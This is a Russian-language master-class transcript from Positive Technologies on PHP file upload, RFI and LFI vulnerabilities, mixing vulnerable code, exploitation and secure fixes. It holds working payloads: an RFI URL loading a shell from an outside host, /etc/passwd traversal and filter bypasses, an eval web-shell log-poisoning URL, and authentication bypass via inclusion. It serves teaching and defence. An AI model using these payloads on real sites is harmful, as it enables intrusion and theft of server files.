vipolnenie komand na servere
DESCRIPTION
Семинар пройдет в формате мастер-класса. Слушатели получат как теоритические, так и практические знания.В рамках мастер-класса будут рассмотрены уязвимости :• Unrestricted File Upload• Remote File Inclusion• Local File InclusionВо время мастер-класса будут рассмотрены теоретические аспекты, вышеуказанных уязвимостей, приведены примеры уязвимого исходного кода.Слушателям будут продемонстрированы примеры эксплуатации уязвимостей, техника обхода различных фильтраций.Кроме того, будут приведены примеры безопасного написания сценариев.Так же у каждого будет возможность применить полученные знания на практике.TRANSCRIPT
ВЫПОЛНЕНИЕ КОМАНД НА СЕРВЕРЕВВЕДЕНИЕ
Щербель Сергей
Positive Technologies
Выполнение команд на сервере
Выполнение произвольного кода – одна из наиболее опасных уязвимостей, встречаемая в веб-приложениях.
Способы выполнения:
Загрузка сценария на сервер
Remote File Inclusion (RFI)
Local File Inclusion (LFI)
Внедрение произвольного кода в функции eval(), assert(), preg_replace() с модификатором /e
Внедрение произвольных команд в функции system(), exec() и т.д.
Сериализация: serialize/unserialize
И т.д.
Инструментарий
Наиболее удобный инструмент: Mozilla Firefox + плагины.В Mozilla Firefox необходимо вносить некоторые изменения, чтобы кодирование одинарной кавычки не производилось.
Инструментарий
Рекомендуемые плагины:
Tamper Data – позволяет перехватывать отправляемый браузером HTTP-запрос и вносить в него изменения
Live HTTP headers – обеспечивает удобный просмотр и отправку HTTP-запросов
HackBar – позволяет отправлять POST параметры, кодировать символы, содержит базовые вектора атаки
Cookies Manager+ – удобный редактор COOKIE-параметров
Modify Headers – позволяет добавлять или изменять HTTP заголовки на лету
Инструментарий
Веб-шелл – один из самых удобных и продуманных шеллов это WSO.
Unrestricted File Upload
Загрузка сценария на сервер
Загрузка произвольных файлов – уязвимость, позволяющая злоумышленнику загружать на сервер файлы с произвольным контентом и/или файлы произвольного расширения.
Как правило, уязвимость возникает из-за некорректной проверки расширения загружаемого файла.
Некорректные способы проверки загружаемых файлов:Проверка MIME-типа загружаемого файла вместо проверки расширения файла
Проверка расширения файла методом черного списка
Другие ошибки…
Кроме того успешной эксплуатации уязвимости способствует небезопасно сконфигурированный веб-сервер.
Проверка MIME-типа загружаемого файла
Пример проверки:
<?php
$imageTypes = array("image/gif", "image/jpeg", "image/png");
if(isset($_FILES["image"])) {
if(!in_array($_FILES["image"]["type"], $imageTypes)) {
die("Hacking Attempt!");
}
copy($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["name"]}");
}
?>
Проблема в том, что тип загружаемого файла легко подделать – т.к. он
указывается браузером в HTTP-запросе. А что указывается браузером, то без
труда может быть изменено пользователем.
Подделка MIME-типа загружаемого файла
Для подделки типа файла удобно пользоваться плагином Tamper Data:
Подделка MIME-типа загружаемого файла
Для подделки типа файла удобно пользоваться плагином Tamper Data:
Проверка расширения файла методом черного списка
Еще один небезопасный способ проверки – проверка методом черного списка:
Суть проверки – не допускать до загрузки файлы, расширение которых попало в черный список.
Проверка расширения файла методом черного списка
Пример проверки:
<?php
if(isset($_FILES["image"])) {
if(preg_match('#\.((php)|(php3)|(php4)|(php5))$#i', $_FILES["image"]["name"])
) {
die("Hacking Attempt!");
}
copy($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["name"]}");
}
?>
Проверка черным ящиком не обеспечивает должный уровень защиты –
всегда найдется какое-то расширение, которое не вошло в список.
Различные ошибки
Некорректное использование функции stripos():
Функция stripos() - возвращает позицию первого вхождения подстроки без учета регистра
Функция strripos() - возвращает позицию последнего вхождения подстроки без учета регистра
<?php
if(isset($_FILES["image"])) {
if(stripos($_FILES["image"]["name"], ".php")) {
die("Hacking Attempt!");
}
copy($_FILES["image"]["tmp_name"], «images/{$_FILES["image"]["name"]}");
}
?>
При загрузке файла с именем .php (т.е. все имя файла – это его расширение) функция strpos() вернет значение 0. Соответственно условие не выполнится и проверка будет пройдена.
Аналогичный результат будет и при использовании функции strripos().
Различные ошибки
Ошибки в регулярных выражениях:
<?php
if(isset($_FILES["image"])) {
if(preg_match('#\.jpg#i', $_FILES["image"]["name"])) {
copy($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["name"]}");
}
}
?>
В приведенном примере имя загружаемого файла проверяется на наличие строки .jpg, но регулярное выражение составлено не правильно – пропущен управляющий символ $, указывающий на конец строки.
В результате сценарий с именем shell.jpg.php будет успешно загружен.
Уязвимая/безопасная конфигурация
Возможность выполнения PHP-сценариев в каталогах, доступных для записи – следствие уязвимой конфигурации. Такая возможность позволяет злоумышленнику в результате эксплуатации ряда уязвимостей загрузить веб-шелл.
Возможность выполнения PHP-сценариев отключается путем конфигурирования веб-сервера и PHP. Пример конфигурации:
<Directory "/var/www/uploads">
php_admin_value engine off
</Directory>
В результате сценарии, находящиеся в каталоге /var/www/uploads, выполняться не будут.
Безопасная проверка
Безопасная проверка – проверка методом белого списка.
<?php
if(isset($_FILES["image"])) {
if(preg_match('#^[a-z0-9-_]+\.((jpg)|(png)|(bmp))$#i', $_FILES["image"]["name"])
) {
move_uploaded_file($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["name"]}");
}
}
?>
В приведенном коде разрешена загрузка только тех файлов, расширение которых .jpg, .png и .bmp.
Remote File Inclusion
Remote File Inclusion
Remote File Inclusion – уязвимость позволяющая подключать удаленные файлы и тем самым выполнять произвольный код.
Пример уязвимого кода:
<?php
include("{$_GET["page"]}.inc");
?>
Эксплуатация:
index.php?page=http://hack.ru/shell.txt?
Аргумент функции include() примет вид:
http://hack.ru/shell.txt?.inc
Видно, что .inc будет передаваться как GET-параметр и не помешает удаленному подключению файла.
Remote File Inclusion
Для эксплуатации данной уязвимости необходимо чтобы в настройках PHP было разрешено удаленное подключение сценариев:
allow_url_include = On
Нередко встречается способ фильтрации, заключающийся в проверке имени подключаемого файла на наличие строки http://.
Разумеется такой способ не обеспечивает должный уровень защиты, т.к. остается возможность использовать другие протоколы: ftp://, https://, ftps://, tftp://.
Local File Inclusion
Local File Inclusion
Local File Inclusion – уязвимость позволяющая подключать файлы, расположенные на уязвимом сервере и тем самым выполнять произвольный код.
Как правило, уязвимость возникает из-за некорректной проверки загружаемого файла
Эксплуатация LFI сводится к трем задачам:Отбрасывание постфикса
Выход за каталог
Поиск файлов, в которые можно внедрить PHP-код
Как и в случае с загрузкой произвольных файлов – уязвимая конфигурация упрощает эксплуатацию уязвимости.
Как отбросить постфикс?
include("pages/{$_GET["page"]}.txt");
Используя Null Byte:
http://site.ru/index.php?page=../../../../../../etc/passwd%00
В результате постфикс .txt будет отброшен и можно будет подключить файл с произвольным расширением.
Но если в настройках PHP включена опция magic_quotes_gpc, то Null Byte будет экранироваться, и отбросить постфикс уже не получится.
Как отбросить постфикс?
Используя усечение пути, подключаемого файла:
Более сложный способ, но нету зависимости от опции magic_quotes_gpc.
Суть сводится к тому, что интерпретатор PHP в зависимости от платформы имеет ограничение на длину пути, определяемое константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.
Существуют следующие ограничения:
Версия PHP < 5.3
Код должен выглядеть следующим образом:
include("pages/{$_GET["page"]} .txt");
include("{$_GET["page"]}.txt");
Но не так:
include("./{$_GET["page"]}.txt");
include("../{$_GET["page"]}.txt");
include("/var/www/{$_GET["page"]}.txt");
Как отбросить постфикс?
Используя усечение пути, подключаемого файла:
Пример эксплуатации:
http://site.ru/index.php?page=images/../../../../../etc///////...много...//////passwd
В результате будет подключен файл /etc/passwd
При этом следует учесть еще одну особенность, а именно длину строки:
/var/www/+images/../../../../../etc///////...много...//////passwd = 4095
Т.е. в идеале нужно знать полный путь до веб-каталога, в котором расположен уязвимый сценарий. Узнать его можно из сообщений об ошибке.
Но на практике можно просто подобрать необходимое число слешей.
Возможны и другие зависимости: операционная система, файловая система и т.д.
Как выйти за каталог?
Различные фильтрации могут препятствовать выходу за каталог.
Наиболее частые случаи:
Фильтрация ../
<?php include(str_replace("../", "", $_GET["page"]).".inc"); ?>
../../../etc/passwd --> фильтрация --> etc/passwd --> fail
Но такой фильтрации не достаточно – она не рекурсивная:
..././..././..././etc/passwd --> фильтрация --> ../../../etc/passwd --> profit
Как выйти за каталог?
Различные фильтрации могут препятствовать выходу за каталог.
Наиболее частые случаи:
Фильтрация с помощью регулярного выражения
$page = preg_replace("#^.*/#", "", $_GET["page"]);
include("{$page}.inc");
../../../etc/passwd --> фильтрация --> passwd --> fail
В регулярном выражение используется метасимвол . (точка), заменяющий любые символы.
Любые, за исключением переноса строки.
%0a/../../etc/passwd --> фильтрация --> %0a/../../etc/passwd --> profit
Для корректной работы регулярного выражения необходимо использовать модификатор s: "#^.+/#s"
Какие файлы подключать?
Файлы логов
/var/log/apache2/access.log
/var/log/apache2/error.log
...
Чтобы записать код в файл логов, достаточно обратиться по адресу:
http://site.ru/<?php @eval($_GET[ev]); ?>
Используя при этом URL кодирование:
http://site.ru/%3C%3Fphp%20@eval%28%24_GET%5Bev%5D%29%3B%20%3F%3E
Какие файлы подключать?
Файлы сессий
/tmp/sess_70432162ce1fefbe91687474f0abcca3
При вызове функции session_start() на сервере создается файл, в который помещаются данные, хранящиеся в массиве _SESSION.
Как правило, среди этих данных: логин, имя пользователя, email адрес, используемый язык и т.д.
Нужно записать PHP-код в файл сессии, для этого следует заменить данные (логин, имя пользователя и т.д.) написав вместо них внедряемый код, а затем подключить файл сессии.
Какие файлы подключать?
Загружаемый контент
«Картинки» с расширением .jpg сами по себе не представляют ценности, но используя уязвимость LFI, их можно подключать, и тем самым выполнять произвольный код.
LFI
Какие файлы подключать?
Сценарии системы администрирования
Достаточно распространенный случай, когда доступ к системе администрирования ограничен средствами веб-сервера (например, по IP адресу или с помощью basic-аутентификации).
Пример:
На сайте site.ru доступ к системе администрирования /admin/ ограничен с помощью basic-аутентификации. Данные используемые для аутентификации находятся в файлах .htaccess и .htpasswd.
На первый взгляд подключить файлы .htaccess и .htpasswd, и в результате узнать логин и хеш пароля, вполне разумное действие, но пароль к хешу еще нужно будет подобрать! А это как правило ресурсоемкая задача!
Можно сделать проще - подключить сами сценарии системы администрирования и тем самым обойти механизмы аутентификации и авторизации.
http://site.ru/index.php?page=../admin/index.php = profit!
Уязвимая/безопасная конфигурация
Возможность обращаться (просматривать, удалять, изменять и т.д.) к файлам и каталогам, находящимся за пределами каталога веб-приложения – следствие уязвимой конфигурации.
Каждое самостоятельное веб-приложение необходимо изолировать от других веб-приложений, находящихся на том же сайте.
Это можно сделать, задавая значение опции PHP open_basedir для каждого отдельного веб-приложения:
http://site.ru/forum/ - например, форум – самостоятельное веб-приложение
<Directory "/var/www/forum">
php_admin_value open_basedir "/var/www/forum/"
</Directory>
Такая конфигурация значительно усложнит эксплуатацию ряда уязвимостей (Local File Inclusion, чтение произвольных файлов и т.д.)
Безопасная проверка
Безопасная проверка – проверка имени файла на наличие в нем служебных символов
if(preg_match('#[^a-z0-9-_]#i', $page)) {
die("Hacking Attempt!");
}
include("{$page}.inc");
В данном примере при попытке указать в имени файла символы отличные от A-Z, a-z, 0-9 и символов «-» и «_» выполнение PHP-сценария будет прервано.
Спасибо за внимание!
Вопросы?